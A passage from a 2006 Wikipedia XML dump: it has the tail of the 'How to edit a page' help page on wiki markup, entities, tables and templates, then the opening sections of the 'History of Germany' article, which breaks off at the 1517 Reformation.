&amp;dagger; &amp;Dagger; &amp;bull; &amp;ndash; &amp;mdash;&lt;br/&gt;
&amp;lsaquo; &amp;rsaquo; « »&lt;br/&gt;
&amp;lsquo; &amp;rsquo; &amp;ldquo; &amp;rdquo;
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
&amp;amp;iquest; &amp;amp;iexcl; &amp;amp;sect; &amp;amp;para;
&amp;amp;dagger; &amp;amp;Dagger; &amp;amp;bull; &amp;amp;ndash; &amp;amp;mdash;
&amp;amp;lsaquo; &amp;amp;rsaquo; &amp;amp;laquo; &amp;amp;raquo;
&amp;amp;lsquo; &amp;amp;rsquo; &amp;amp;ldquo; &amp;amp;rdquo;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Commercial symbols:'''
&lt;br/&gt;
&amp;trade; © ® ¢ &amp;euro; ¥&lt;br/&gt;
£ ¤
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
&amp;amp;trade; &amp;amp;copy; &amp;amp;reg; &amp;amp;cent; &amp;amp;euro; &amp;amp;yen; 
&amp;amp;pound; &amp;amp;curren;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Subscripts:'''
&lt;br/&gt;
x&lt;sub&gt;1&lt;/sub&gt; x&lt;sub&gt;2&lt;/sub&gt; x&lt;sub&gt;3&lt;/sub&gt; or
&lt;br/&gt;
x&amp;#8320; x&amp;#8321; x&amp;#8322; x&amp;#8323; x&amp;#8324;
&lt;br/&gt;
x&amp;#8325; x&amp;#8326; x&amp;#8327; x&amp;#8328; x&amp;#8329;

'''Superscripts:'''
&lt;br/&gt;
x&lt;sup&gt;1&lt;/sup&gt; x&lt;sup&gt;2&lt;/sup&gt; x&lt;sup&gt;3&lt;/sup&gt; or
&lt;br/&gt;
x&amp;#8304; x&amp;sup1; x&amp;sup2; x&amp;sup3; x&amp;#8308;
&lt;br/&gt;
x&amp;#8309; x&amp;#8310; x&amp;#8311; x&amp;#8312; x&amp;#8313;

*The latter methods of sub/superscripting cannot be used in the most general context, as they rely on Unicode support which may not be present on all users' machines. For the 1-2-3 superscripts, it is nevertheless preferred when possible (as with units of measurement) because most browsers have an easier time formatting lines with it.

&amp;epsilon;&lt;sub&gt;0&lt;/sub&gt; =
8.85 &amp;times; 10&lt;sup&gt;&amp;minus;12&lt;/sup&gt;
C&amp;sup2; / J m.

1 [[hectare]] = [[1 E4 m&amp;sup2;]]
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
x&lt;sub&gt;1&lt;/sub&gt; x&lt;sub&gt;2&lt;/sub&gt; x&lt;sub&gt;3&lt;/sub&gt; or
&lt;br/&gt;
x&amp;amp;#8320; x&amp;amp;#8321; x&amp;amp;#8322; x&amp;amp;#8323; x&amp;amp;#8324;
&lt;br/&gt;
x&amp;amp;#8325; x&amp;amp;#8326; x&amp;amp;#8327; x&amp;amp;#8328; x&amp;amp;#8329;
&lt;/nowiki&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;nowiki&gt;
x&lt;sup&gt;1&lt;/sup&gt; x&lt;sup&gt;2&lt;/sup&gt; x&lt;sup&gt;3&lt;/sup&gt; or
&lt;br/&gt;
x&amp;amp;#8304; x&amp;amp;sup1; x&amp;amp;sup2; x&amp;amp;sup3; x&amp;amp;#8308;
&lt;br/&gt;
x&amp;amp;#8309; x&amp;amp;#8310; x&amp;amp;#8311; x&amp;amp;#8312; x&amp;amp;#8313;

&amp;amp;epsilon;&lt;sub&gt;0&lt;/sub&gt; =
8.85 &amp;amp;times; 10&lt;sup&gt;&amp;amp;minus;12&lt;/sup&gt;
C&amp;amp;sup2; / J m.

1 [[hectare]] = [[1 E4 m&amp;amp;sup2;]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Greek characters:'''
&lt;br/&gt;
&amp;alpha; &amp;beta; &amp;gamma; &amp;delta; &amp;epsilon; &amp;zeta;&lt;br/&gt;
&amp;eta; &amp;theta; &amp;iota; &amp;kappa; &amp;lambda; &amp;mu; &amp;nu;&lt;br/&gt;
&amp;xi; &amp;omicron; &amp;pi; &amp;rho; &amp;sigma; &amp;sigmaf;&lt;br/&gt;
&amp;tau; &amp;upsilon; &amp;phi; &amp;chi; &amp;psi; &amp;omega;&lt;br/&gt;
&amp;Gamma; &amp;Delta; &amp;Theta; &amp;Lambda; &amp;Xi; &amp;Pi;&lt;br/&gt;
&amp;Sigma; &amp;Phi; &amp;Psi; &amp;Omega;
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
&amp;amp;alpha; &amp;amp;beta; &amp;amp;gamma; &amp;amp;delta; &amp;amp;epsilon; &amp;amp;zeta; 
&amp;amp;eta; &amp;amp;theta; &amp;amp;iota; &amp;amp;kappa; &amp;amp;lambda; &amp;amp;mu; &amp;amp;nu; 
&amp;amp;xi; &amp;amp;omicron; &amp;amp;pi; &amp;amp;rho; &amp;amp;sigma; &amp;amp;sigmaf;
&amp;amp;tau; &amp;amp;upsilon; &amp;amp;phi; &amp;amp;chi; &amp;amp;psi; &amp;amp;omega;
&amp;amp;Gamma; &amp;amp;Delta; &amp;amp;Theta; &amp;amp;Lambda; &amp;amp;Xi; &amp;amp;Pi; 
&amp;amp;Sigma; &amp;amp;Phi; &amp;amp;Psi; &amp;amp;Omega;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Mathematical characters:'''
&lt;br/&gt;
&amp;int; &amp;sum; &amp;prod; &amp;radic; &amp;minus; &amp;plusmn; &amp;infin;&lt;br/&gt;
&amp;asymp; &amp;prop; &amp;equiv; &amp;ne; &amp;le; &amp;ge;&lt;br/&gt;
&amp;times; &amp;middot; &amp;divide; &amp;part; &amp;prime; &amp;Prime;&lt;br/&gt;
&amp;nabla; &amp;permil; &amp;deg; &amp;there4; &amp;alefsym; &amp;oslash;&lt;br/&gt;
&amp;isin; &amp;notin; &amp;cap; &amp;cup; &amp;sub; &amp;sup; &amp;sube; &amp;supe;&lt;br/&gt;
&amp;not; &amp;and; &amp;or; &amp;exist; &amp;forall; &amp;rArr; &amp;hArr;&lt;br/&gt;
&amp;rarr; &amp;harr;&lt;br/&gt;
* See also [[Wikipedia:WikiProject Mathematics|WikiProject Mathematics]].
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
&amp;amp;int; &amp;amp;sum; &amp;amp;prod; &amp;amp;radic; &amp;amp;minus; &amp;amp;plusmn; &amp;amp;infin;
&amp;amp;asymp; &amp;amp;prop; &amp;amp;equiv; &amp;amp;ne; &amp;amp;le; &amp;amp;ge;
&amp;amp;times; &amp;amp;middot; &amp;amp;divide; &amp;amp;part; &amp;amp;prime; &amp;amp;Prime;
&amp;amp;nabla; &amp;amp;permil; &amp;amp;deg; &amp;amp;there4; &amp;amp;alefsym; &amp;amp;oslash;
&amp;amp;isin; &amp;amp;notin; &amp;amp;cap; &amp;amp;cup; &amp;amp;sub; &amp;amp;sup; &amp;amp;sube; &amp;amp;supe;
&amp;amp;not; &amp;amp;and; &amp;amp;or; &amp;amp;exist; &amp;amp;forall; &amp;amp;rArr; &amp;amp;hArr;
&amp;amp;rarr; &amp;amp;harr;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Spacing in simple math formulas:'''
&lt;br/&gt;
Obviously, ''x''&amp;sup2;&amp;nbsp;&amp;ge;&amp;nbsp;0 is true.
*To space things out without allowing line breaks to interrupt the formula, use non-breaking spaces: &lt;tt&gt;&amp;amp;nbsp;&lt;/tt&gt;.
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
Obviously, ''x''&amp;amp;sup2;&amp;amp;nbsp;&amp;amp;ge;&amp;amp;nbsp;0 is true.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Complicated formulas:'''
&lt;br/&gt;
: &lt;math&gt;\sum_{n=0}^\infty \frac{x^n}{n!}&lt;/math&gt;
* See [[Help:Formula]] for how to use &lt;tt&gt;&amp;lt;math&gt;&lt;/tt&gt;.
* A formula displayed on a line by itself should probably be indented by using the colon (:) character.
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
: &lt;math&gt;\sum_{n=0}^\infty \frac{x^n}{n!}&lt;/math&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Suppressing interpretation of markup:'''
&lt;br/&gt;
&lt;nowiki&gt;Link &amp;rarr; (''to'') the [[Wikipedia FAQ]]&lt;/nowiki&gt;
* Used to show literal data that would otherwise have special meaning.
* Escape all wiki markup, including that which looks like HTML tags.
* Does not escape HTML character references.
* To escape HTML character references such as &lt;tt&gt;&amp;amp;rarr;&lt;/tt&gt; use &lt;tt&gt;&amp;amp;amp;rarr;&lt;/tt&gt;
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
&amp;lt;nowiki&gt;Link &amp;amp;rarr; (''to'') 
the [[Wikipedia FAQ]]&amp;lt;/nowiki&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Commenting page source:'''
&lt;br/&gt;
''not shown when viewing page''
* Used to leave comments in a page for future editors.
* Note that most comments should go on the appropriate [[Wikipedia:Talk page|Talk page]].
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
&amp;lt;!-- comment here --&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|}
''(see also: [[Chess symbols in Unicode]])''

===None or limited Formatting - showing exactly what is being typed===

A few different kinds of formatting will tell the Wiki to display things as you typed them - what you see, is what you get!

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
! style=&quot;width:8em&quot; |
!What it looks like
!What you type
|-
|'''&amp;lt;nowiki&amp;gt; tags'''
|
&lt;nowiki&gt;
The nowiki tag ignores [[Wiki]] ''markup''.
It reformats text by removing newlines    and multiple spaces.
It still interprets special characters: &amp;rarr;
&lt;/nowiki&gt;
|&lt;pre&gt;&lt;nowiki&gt;
&amp;lt;nowiki&amp;gt;
The nowiki tag ignores [[Wiki]] ''markup''.
It reformats text by removing newlines    and multiple spaces.
It still interprets special characters: &amp;amp;rarr;
&amp;lt;/nowiki&amp;gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|-
|'''&amp;lt;pre&amp;gt; tags'''
|
&lt;pre&gt;
The pre tag ignores [[Wiki]] ''markup''.
It also doesn't     reformat text.
It still interprets special characters: &amp;rarr;
&lt;/pre&gt;
|&lt;pre&gt;&lt;nowiki&gt;
&lt;pre&gt;
The pre tag ignores [[Wiki]] ''markup''.
It also doesn't     reformat text.
It still interprets special characters: &amp;amp;rarr;
&lt;/pre&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|-
|'''Leading spaces'''
|
Leading spaces are another way to preserve formatting.

 Putting a space at the beginning of each line
 stops the text   from being reformatted. It still
 interprets [[Wiki]] ''markup'' and special
 characters: &amp;rarr;
|&lt;pre&gt;&lt;nowiki&gt;
Leading spaces are another way to preserve formatting.

 Putting a space at the beginning of each line
 stops the text   from being reformatted. It still
 interprets [[Wiki]] ''markup'' and special
 characters: &amp;amp;rarr;
&lt;/nowiki&gt;&lt;/pre&gt;
|}

=== Table of Contents ===
&lt;!-- ==== Placement of the Table of Contents (TOC) ==== --&gt;
At the current status of the wiki markup language, having at least four headers on a page triggers the TOC to appear in front of the first header (or after introductory sections).  Putting &lt;nowiki&gt;__TOC__&lt;/nowiki&gt; anywhere forces the TOC to appear at that point (instead of just before the first header).  Putting &lt;nowiki&gt;__NOTOC__&lt;/nowiki&gt; anywhere forces the TOC to disappear.  See also [[Wikipedia:Section#Compact_TOC|compact TOC]] for alphabet and year headings.
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THE TEXT BELOW IS COMMENTED OUT SINCE THE DESCRIBED TECHNIQUE 
DOESN'T WORK AFTER UPGRADING TO MEDIAWIKI 1.5

====Keeping headings out of the Table of Contents====
If you want some subheadings to not appear in the Table of Contents, then make the following replacements.

Replace  &lt;nowiki&gt; == Header 2 == with &lt;h2&gt; Header 2 &lt;/h2&gt; &lt;/nowiki&gt;

Replace  &lt;nowiki&gt; === Header 3 === with &lt;h3&gt; Header 3 &lt;/h3&gt; &lt;/nowiki&gt;

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===Tables===
There are two ways to build tables: 
*in special Wiki-markup (see [[Help:Table]])
*with the usual HTML elements: &amp;lt;table&amp;gt;, &amp;lt;tr&amp;gt;, &amp;lt;td&amp;gt; or &amp;lt;th&amp;gt;.

For the latter, and a discussion on when tables are appropriate, see [[Wikipedia:How to use tables]].

===Variables===
''(See also [[Help:Variable]])''
{|
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'''NUMBEROFARTICLES''' is the number of pages in the main namespace which contain a link and are not a redirect, in other words number of articles, stubs containing a link, and disambiguation pages.

'''CURRENTMONTHNAMEGEN''' is the genitive (possessive) grammatical form of the month name, as used in some languages; '''CURRENTMONTHNAME''' is the nominative (subject) form, as usually seen in English.

In languages where it makes a difference, you can use constructs like &lt;nowiki&gt;{{grammar:case|word}}&lt;/nowiki&gt; to convert a word from the nominative case to some other case.  For example, &lt;nowiki&gt;{{grammar:genitive|{{CURRENTMONTHNAME}}}}&lt;/nowiki&gt; means the same as &lt;nowiki&gt;{{CURRENTMONTHNAMEGEN}}&lt;/nowiki&gt;. &lt;!-- Is there a reference for this, other than the source code (for example, phase3/languages/Lnaguage*.php) ? --&gt;

===Templates===
The [[Wikipedia:MediaWiki|MediaWiki]] software used by Wikipedia has support for templates. This means standardized text chunks (such as [[Wikipedia:Template messages|boilerplate]] text) can be inserted into articles. For example, typing {{tl|stub}} will appear as &quot;''This article is a [[Wikipedia:Stub|stub]]. You can help Wikipedia by [[Wikipedia:Stub|expanding it]].''&quot; when the page is saved. See [[Wikipedia:Template messages]] for the complete list. Other commonly used templates are: {{tl|disambig}} for disambiguation pages, {{tl|spoiler}} for spoiler warnings and {{tl|sectstub}} like an article stub but for a section. There are many subject-specific stubs for example: {{tl|Geo-stub}}, {{tl|Hist-stub}}, and {{tl|Linux-stub}}. For a complete list of stubs see [[WP:WSS/ST]].

===Hiding the edit links===
Insert '''&lt;nowiki&gt;__NOEDITSECTION__&lt;/nowiki&gt;''' into the document to suppress the edit links that appear next to every section header.

==More information on editing wiki pages==
You may also want to learn about:

* [[Help:Starting a new page|How to start a page]] 
* Informal tips on [[Wikipedia:Contributing to Wikipedia|contributing to Wikipedia]]
* Editing tasks in general at the [[Wikipedia:Editing FAQ]]
* Rename pages boldly, at [[Wikipedia:How to rename (move) a page]]
* Preferred layout of your article, at [[Wikipedia:Guide to layout|Guide to layout]] (see also [[Wikipedia:Boilerplate text]])
* Style conventions in the [[Wikipedia:Manual of Style]]
* An article with annotations pointing out common Wikipedia style and layout issues, at [[Wikipedia:Annotated article]]
* General policies in [[Wikipedia:Policies and guidelines]]
* [[Wikipedia:Naming conventions]] for how to name articles themselves
* Help on [[Wikipedia:Page_size#If_you_have_problems_editing_a_long_article|editing very large articles]]
* If you are making an article about something that belongs to a group of objects (a city, an astronomical object, a Chinese character...) check if there is a [[Wikipedia:WikiProject|WikiProject]] on the group and try to follow its directions explicitly.
*[[Help:Formula]]
*[[m:Help:Editing|Mediawiki user's guide to editing]]
*[[Wikipedia:MediaWiki]]
* Finally, for a list of  articles about editing Wikipedia consult [[Wikipedia:Style and How-to Directory]].

==See also==

* [[MediaWiki:Edit]]

&lt;noinclude&gt;
[[Category:Wikipedia how-to|How to edit a page]]
[[Category:Wikipedia basic information|How to edit a page]]

&lt;!-- Interlanguage links --&gt;
[[am:Help:Editing]]
[[ang:Wikipedia:How to edit a page]]
[[ar:ويكيبيديا:مساعدة التحرير]]
[[be:Вікіпэдыя:Як рэдагаваць існуючы артыкул]]
[[bg:Уикипедия:Как се редактират страници]]
[[bs:Wikipedia:Kako izmjeniti stranicu]]
[[ca:Viquipèdia:Com s'edita una pàgina]]
[[cs:Wikipedie:Jak editovat stránku]]
[[da:Wikipedia:Hvordan redigerer jeg en side]]
[[de:Wikipedia:Seite bearbeiten]]
[[el:Wikipedia:Πώς να επεξεργαστείτε μια σελίδα]]
[[eo:Vikipedio:Kiel redakti pagxon]]
[[es:Wikipedia:Cómo se edita una página]]
[[fi:Wikipedia:Kuinka sivuja muokataan]]
[[fr:Wikipédia:Syntaxe wikipédia]]
[[ga:Vicipéid:Conas alt a chur in eagar]]
[[he:ויקיפדיה:איך לערוך דף]]
[[hi:लेख को कैसे बदलें]]
[[hu:Wikipédia:Hogyan szerkessz egy lapot]]
[[id:Wikipedia:Menyunting sebuah halaman]]
[[it:Wikipedia:Guida essenziale]]
[[ja:Wikipedia:編集の仕方]]
[[lt:Wikipedia: Kaip Redaguoti Puslapį]]
[[nl:Help:Uitleg]]
[[nn:Hjelp:Redigering]]
[[no:Wikipedia:Hvordan man redigerer en side]]
[[pl:Wikipedia:Formatowanie tekstu na Wikipedii]]
[[pt:Wikipedia:Como editar uma página]]
[[ro:Wikipedia:Cum să editezi o pagină]]
[[ru:Как редактировать страницу]]
[[simple:Wikipedia:How to edit]]
[[sl:Wikipedija:Urejevanje slovenskih strani]]
[[sr:Википедија:Како се мења страна]]
[[sv:Wikipedia:Hur man redigerar en sida]]
[[th:Wikipedia:การแก้ไขหน้า]]
[[tr:Wikipedia:Sayfa nasıl değiştirilir]]
[[ur:صفحہ کس طرح ترميم کريں]]
[[vi:Help:Sửa đổi]]
[[zh-min-nan:Help:Pian-chi̍p]]
[[zh:Wikipedia:如何编辑页面]]
&lt;/noinclude&gt;</text>
    </revision>
  </page>
  <page>
    <title>History of Germany</title>
    <id>13224</id>
    <restrictions>move=sysop</restrictions>
    <revision>
      <id>42094529</id>
      <timestamp>2006-03-03T20:10:32Z</timestamp>
      <contributor>
        <username>Klktrk</username>
        <id>609140</id>
      </contributor>
      <minor />
      <comment>&quot;the Slavs between the [[Elbe]] and the [[Oder]] were submitted.&quot; changed submitted to subdued</comment>
      <text xml:space="preserve">{{History of Germany}}

This article gives an overview of the '''History of Germany'''. It begins with the birth of the nation from [[Roman Empire|Ancient Roman]] times to the 8th century, and then continues into the [[Holy Roman Empire]] dating from the 9th century until [[1806]]. At its largest extent, the territory of this empire included what today is [[Germany]], [[Austria]], [[Slovenia]], the [[Czech Republic]], western [[Poland]], the [[Low Countries]], eastern [[France]], [[Switzerland]] and all of northern [[Italy]]. After the mid 15th century, it was known as the &quot;Holy Roman Empire of the German Nation&quot;. 

This was followed by the [[German Confederation]] of [[1806]] - [[1870]], the [[German Empire]] of [[1871]] - [[1918]] and the [[Weimar Republic]] of [[1919]] - [[1933]], then by [[Adolf Hitler]]'s [[Nazi Germany]] (or &quot;[[Third Reich]]&quot;, his proclaimed successor of the large medieval Empire or &quot;Reich&quot;) of 1933 - 1945 and the devastations of [[World War II]]. The article concludes with the history of the [[Effects of World War II|post-war]] [[Federal Republic of Germany]] and the history of the [[GDR]] from 1945 to 1990.

For further details on each period, please consult the ''main articles'' mentioned at the beginning of each section and subsection.

==The Germans and the Romans==
''See also: [[Germanic tribes]], [[Confederations of Germanic Tribes]], [[Germania]], [[Germania Inferior]], [[Germania Superior]]''

[[Image:Gaius Cornelius Tacitus.jpg|thumb|150px|[[Gaius Cornelius Tacitus]], author of ''Germania'', a descriptive work about the Germanic tribes at the Roman frontier on the Rhine]]

Between [[800 BC|800]] and [[70 BC]] the Germanic tribes in the north migrated into [[Celts|Celtic]] territory, advancing to the [[Oder]] and the [[Rhine]] and into southern Germany.

Around [[58 BC]], in a succession of military campaigns the Romans made the [[Rhine]] the north-eastern frontier of the [[Roman Empire]], leading to the Romanisation of the left bank of the Rhine and the incorporation of the central European Celtic societies into their Empire. Roman forts were built at [[Cologne]], [[Trier]], [[Koblenz]], [[Mainz]] and elsewhere to secure the Rhine frontier, where Romans and Germanic people now faced each other directly. In [[AD 9]] a Roman army led by [[Publius Quinctilius Varus]] was defeated by the [[Cheruscan]] leader [[Arminius]] (Hermann) in the [[Battle of the Teutoburg Forest]].  Germany as far as the Rhine and the [[Danube]] remained outside the [[Roman Empire]].

From [[90 AD]] onwards, the Romans built the [[Germanic Limes|Limes]], a 550-km (340-mile) defensive line from the Rhine to the Danube designed to check Germanic advances over the frontier, as well as numerous forts (e.g. at [[Wiesbaden]], [[Augsburg]], [[Regensburg]], [[Passau]]).  The 3rd century saw the emergence of a number of large West Germanic tribes &amp;mdash; [[Alamanni]], [[Franks]], [[Chatti]], [[Saxons]], [[Frisians]], [[Thuringians]].  Around 260, the Germans finally broke through the Limes and the Danube frontier.

In the 4th century, the advance of the [[Huns]] into Europe gave the start to the period of the [[Migration Period|Great Migrations]], which changed the whole map of Europe. By unifying the Franks and conquering [[Gaul]], the [[Merovingians|Merovingian]] [[Clovis I|king Chlodwig]] became the founder of the [[Franks|Frankish kingdom]]. In 496 the Franks defeated the Alemanni, accepted the Catholic faith and so gained the support of the Church.

The Roman provinces north of the Alps had been Christianised since the 4th century and Christian centres such as at [[Augsburg]] were maintained after the end of the Roman empire. However, from around 600 there was a renewed Christian mission of the barbarian tribes. Irish-Scottish monks founded monasteries at [[Würzburg]], [[Regensburg]], [[Reichenau]], and other places.  The missionary activity in the Merovingian kingdom was continued by the Anglo-Saxon monk [[Saint Boniface|Boniface]], who established the first monastery east of the Rhine at [[Fritzlar]]. Bishoprics under Papal authority were established to spread the Christian faith in the German lands.

In 751 [[Pippin III]], mayor (controller) of the palace under the Merovingian king, himself assumed the title of king and was anointed by the Church.  The Frankish kings now set up as protectors of the [[Pope]], and the [[Carolingian]] [[Charlemagne|successors]] of Pippin launched a decades-long military camapign against their [[Heathen]] rivals, the [[Saxons]].  The Saxons were eventually overwhelmed and forcibly converted, and their lands were annexed by the Frankish empire.

==Holy Roman Empire==
''Main article: [[Holy Roman Empire]].''

===Middle Ages===

[[Image:Electoral princes.png|thumb|250px|right|The [[prince-elector]]s of the Holy Roman Empire. From ''Bildatlas der Deutschen Geschichte'' by Dr Paul Knötel (1895)]]
From 772 to 814 king [[Charlemagne]] extended the Carolingian empire into northern Italy and the territories of all west Germanic peoples, including the Saxons and the Bajuwari (Bavarians). In 800 Charlemagne's authority in Western Europe was confirmed by his coronation as emperor in [[Rome]]. The [[Holy Roman Empire]] was established. The Frankish empire was divided into counties, and its frontiers were protected by border Marches. Imperial strongholds (''Kaiserpfalzen'') became economic and cultural centres ([[Aachen]] being the most famous).

Between 843 and 880, after fighting between Charlemagne's grandchildren, the Carolingian empire was partitioned into several parts in the [[Treaty of Verdun]]. The German empire developed out of the East Frankish kingdom, [[East Francia]]. From 919 to 936 the Germanic peoples ([[Franks]], [[Saxons]], [[Swabia]]ns and [[Bavarians]]) were united under [[Henry the Fowler|Duke Henry of Saxony]], who took the title of king. For the first time, the term Kingdom (Empire) of the Germans (&quot;Regnum Teutonicorum&quot;) was applied to the Frankish kingdom.

In 936 [[Otto I, Holy Roman Emperor|Otto I the Great]] was crowned at [[Aachen]]. He strengthened the royal authority by appointing bishops and abbots as princes of the Empire (''Reichsfürsten''), thereby establishing a national church (''Reichskirche''). In 951 Otto the Great married the widowed queen [[Adelaide of Italy|Adelheid]], thereby winning the Langobardic (Lombard) crown. Outside threats to the kingdom were contained when in 955 the [[Hungary|Hungarians]] were decisively defeated near [[Augsburg]] at the [[Battle of Lechfeld]] and the Slavs between the [[Elbe]] and the [[Oder]] were subdued. In 962 Otto I was crowned emperor in Rome, taking the succession of Charlemagne and establishing a strong German influence over the Papacy.

In 1033 the kingdom of [[Burgundy]] was incorporated into the German empire during the reign of [[Conrad II, Holy Roman Emperor|Conrad II]], the first emperor of the [[Salian]] dynasty.

During the reign of his son [[Henry III, Holy Roman Emperor|Henry III]] Germany supported the [[Cluny|Cluniac]] reform of the Church - the [[Peace and Truce of God|Peace of God]], the prohibition of simony (the purchase of clerical offices) and the celibacy of priests. Imperial authority over the Pope reached its peak. An imperial stronghold (''Pfalz'') was built at [[Goslar]], as the Empire continued its expansion to the East.

In the [[Investiture Controversy|Investiture Dispute]] which began between [[Henry IV, Holy Roman Emperor|Henry IV]] and [[Pope Gregory VII]] over appointments to ecclesiastical offices, the emperor was compelled to submit to the Pope at [[Canossa]] in 1077, after having been excommunicated. In 1122 a temporary reconciliation was reached between [[Henry V, Holy Roman Emperor|Henry V]] and the Pope with the [[Concordat of Worms]]. The consequences of the investiture dispute were a weakening of the [[Otto I, Holy Roman Emperor|Ottonian]] ''Reichskirche'' and a strengthening of the German secular princes.

[[Image:Zamek krzyzacki w Malborku.jpg|thumb|200px|left|Castle of the [[Teutonic Knights|Teutonic Order]] in [[Malbork]] ([[German language|German]]: Marienburg)]]
The time between 1096 and 1291 was the age of the [[Crusade|crusades]]. Knightly religious orders were established, including the [[Knights Templar (military order)|Templars]], the [[Knights Hospitaller|Knights of St John]] and the [[Teutonic Knights|Teutonic Order]]. 

From 1100, new towns were founded around imperial strongholds, castles, bishops' palaces and monasteries. The towns began to establish municipal rights and liberties, while the rural population remained in a state of serfdom. In particular, several cities became [[Imperial Free City|Imperial Free Cities]], which did not depend on princes or bishops, but were immediately subject to the Emperor. The towns were ruled by patricians (merchants carrying on long-distance trade). The craftsmen formed guilds, governed by strict rules, which sought to obtain control of the towns. Trade with the East and North intensified, as the major trading towns came together in the [[Hanseatic League]], under the leadership of [[Lübeck]].

The Germanic expansion into the east began ([[''Drang nach Osten'']]: German settlers, including peasants, towns-people and the Teutonic Order, moved into Slav populated territories east of the Oder ([[Bohemia]], [[Silesia]], [[Pomerania]], [[Poland]], [[Courland]]), settling into towns and villages. (''See'' [[Ostsiedlung]]).

Between 1152 and 1190, during the reign of [[Frederick I, Holy Roman Emperor|Frederick I]] (Barbarossa), of the [[Hohenstaufen]] dynasty, an accommodation was reached with the rival [[Welf|Guelph]] party by the grant of the duchy of [[Bavaria]] to [[Henry the Lion]], duke of [[Saxony]]. [[Austria]] became a separate duchy by virtue of the [[Privilegium Minus]] in 1156. Barbarossa tried to reassertain his control over Italy. In 1177 a final reconciliation was reached between the emperor and the Pope in [[Venice]].

In 1180 Henry the Lion was outlawed and Bavaria was given to [[Otto I Wittelsbach, Duke of Bavaria|Otto of Wittelsbach]] (founder of the [[Wittelsbach|Wittelsbach dynasty]] which was to rule Bavaria until 1918), while Saxony was divided.

From 1184 to 1186 the Hohenstaufen empire under Barbarossa reached its peak in the ''Reichsfest'' (imperial celebrations) held at [[Mainz]] and the marriage of his son [[Henry VI, Holy Roman Emperor|Henry]] in [[Milan]] to the Norman princess [[Constance of Sicily]]. The power of the feudal lords was undermined by the appointment of &quot;ministerials&quot; (unfree servants of the Emperor) as officials. Chivalry and the court life flowered, leading to a development of German culture and literature (see [[Wolfram von Eschenbach]]).

Between 1212 and 1250 [[Frederick II, Holy Roman Emperor|Frederick II]] established a modern, professionally administered state in [[Sicily]]. He resumed the conquest of Italy, leading to further conflict with the Papacy. In the Empire, extensive sovereign powers were granted to ecclesiastical and secular princes, leading to the rise of independent territorial states. The struggle with the Pope sapped the Empire's strength, as Frederick II was excommunicated three times. After his death, the Hohenstaufen dynasty fell, followed by an interregnum during which there was no Emperor.

In 1226 parts of [[Prussia]] were conquered, christianized and its population slaughtered by the Teutonic Order invited to [[Poland]] by [[Konrad of Masovia]], a Polish duke who ruled in the [[Masovia]]. But from 1300, the Empire started to lose territory on all its frontiers.

The failure of negotiations between [[Louis IV, Holy Roman Emperor|Emperor Louis IV]] with the papacy led 1338 to the declaration at Rhense by six electors to the effect that election by all or the majority of the electors automatically conferred the royal title and rule over the empire, without papal confirmation.

Between 1346 and 1378 [[Charles IV, Holy Roman Emperor|Emperor Charles IV]] of [[Luxembourg]], king of [[Bohemia]], sought to restore the imperial authority.

[[Image:Holbein-death.png|thumb|200px|right|Around the middle of the 14th century, the [[Black Death]] ravaged Germany and Europe. From the Dance of Death by [[Hans Holbein]] (1491)]]
Around 1350 Germany and almost the whole of Europe were ravaged by the [[Black Death]]. [[Jew]]s were persecuted on religious and economic grounds; many fled to [[Poland]].

The [[Golden Bull]] of 1356 stipulated that in future the emperor was to be chosen by seven electors - the Archbishops of Mainz, Trier and Cologne, the King of Bohemia, the Count Palatine of the Rhine, the Duke of Saxony and the Margrave of Brandenburg.

After the disasters of the fourteenth century, early-modern European society gradually came into being as a result of economic, religious and political changes. A money economy arose which provoked social discontent among knights and peasants. Gradually, a proto-capitalistic system evolved out of feudalism. The [[Fugger]] family gained prominence through commercial and financial activities and became financiers to both ecclesiastical and secular rulers.

The knightly classes found their monopoly on arms and military skill undermined by the introduction of mercenary armies and foot soldiers. Predatory activity by &quot;robber knights&quot; became common. From 1438 the [[Habsburg]]s, who controlled most of the southeast of the Empire (more or less modern-day [[Austria]] and [[Slovenia]], and, from 1526 onwards - after the death of the last of the [[Jagiellonian|Jagiellonians]] Ludwig, [[Bohemia]] and [[Moravia]]), maintained a constant grip on the position of the Holy Roman Emperor until 1806 (with the exception of the years between 1742 and 1745). This situation, however, gave rise to increased disunity among Germany's territorial rulers and prevented all sections of the nation from coming together in the manner of [[France]] and [[England]]. 

During his reign from 1493 to 1519, [[Maximilian I, Holy Roman Emperor|Maximilian I]] tried to reform the Empire: an Imperial Supreme Court (''Reichskammergericht'') was established, imperial taxes were levied, the power of the Imperial Diet (''Reichstag'') was increased. The reforms were, however, frustrated by the continued territorial fragmentation of the Empire.

===Reformation and Thirty Years War===

[[Image:Luther46c.jpg|thumb|200px|left|[[Martin Luther]], German reformer and reformer of Germany, 1529]]
Around the beginning of the 16th century there was much discontent in Germany with abuses in the Catholic Church and a desire for reform. 

In 1517 the [[Reformation]] began: [[Martin Luther|Luther]] nailed his [[95 Theses|95 &quot;theses&quot;]] against the abuse of indulgences to the church door in [[Wittenberg]].

